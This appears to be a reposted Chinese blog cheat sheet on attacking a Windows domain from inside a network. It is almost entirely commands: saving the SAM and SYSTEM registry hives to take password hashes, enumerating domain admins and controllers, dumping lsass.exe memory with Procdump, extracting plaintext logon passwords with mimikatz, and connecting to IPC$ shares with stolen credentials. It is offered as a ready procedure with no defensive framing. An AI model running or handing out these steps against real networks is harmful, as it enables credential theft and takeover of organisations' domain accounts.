内网域渗透
来源:互联网 发布:淘宝店铺一年有多少分 编辑:程序博客网 时间:2024/05/01 12:56
导出本地管理员 Hash
reg save hklm\sam sam.hive
reg save hklm\system system.hive
1.获得域管理员帐号 net group “domain admins” /domain
2.获得域控制器 net group “domain controllers” /domain
3.获得域名 net view /domain
4.获得域管理员密码 http://blog.csdn.net/yiyefangzhou24/article/details/11760277
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
下载地址:http://technet.microsoft.com/en-us/sysinternals/dd996900
mimikatz #sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
5.域中有多少台机器 net group "domain computers" /domain
获得域控ip: ping 域控服务器名称 ipc$ net use \\域控ip\ipc$ "password" /user:"username"
net use \\连接的ip\ipc$ /del 断开正在连接的ipc$
- 内网域渗透
- 渗透
- 血腥渗透
- 渗透测试
- 域渗透
- 域渗透
- 渗透杂记
- 渗透测试
- 渗透工具
- 渗透思路
- 渗透1
- 再谈内网渗透
- 渗透测试
- 渗透利器
- 渗透测试
- 渗透笔记
- Sqlmap渗透
- 谈内网渗透
- Sofia-SIP辅助文档二二 - Sofia SIP用户代理库 - "sdp" - SDP模块
- myeclipse 安装maven
- PreparedStatement 接口引入
- ARM体系结构(二)
- Sofia-SIP辅助文档二三 - Sofia SIP用户代理库 - "stun" - STUN客户端和服务端模块
- 内网域渗透
- 2016新趋势——把公司做小,把客户做大
- 字符串转数组 C++
- LayoutWeight属性总结
- Sofia-SIP辅助文档二四 - Sofia SIP用户代理库 - "features"特性模块
- CALayer设置图片等的一些属性
- JavaBean入门 - 概念和简单例子
- 最短回文串 [Codevs 3962]
- Zookeeper集群的搭建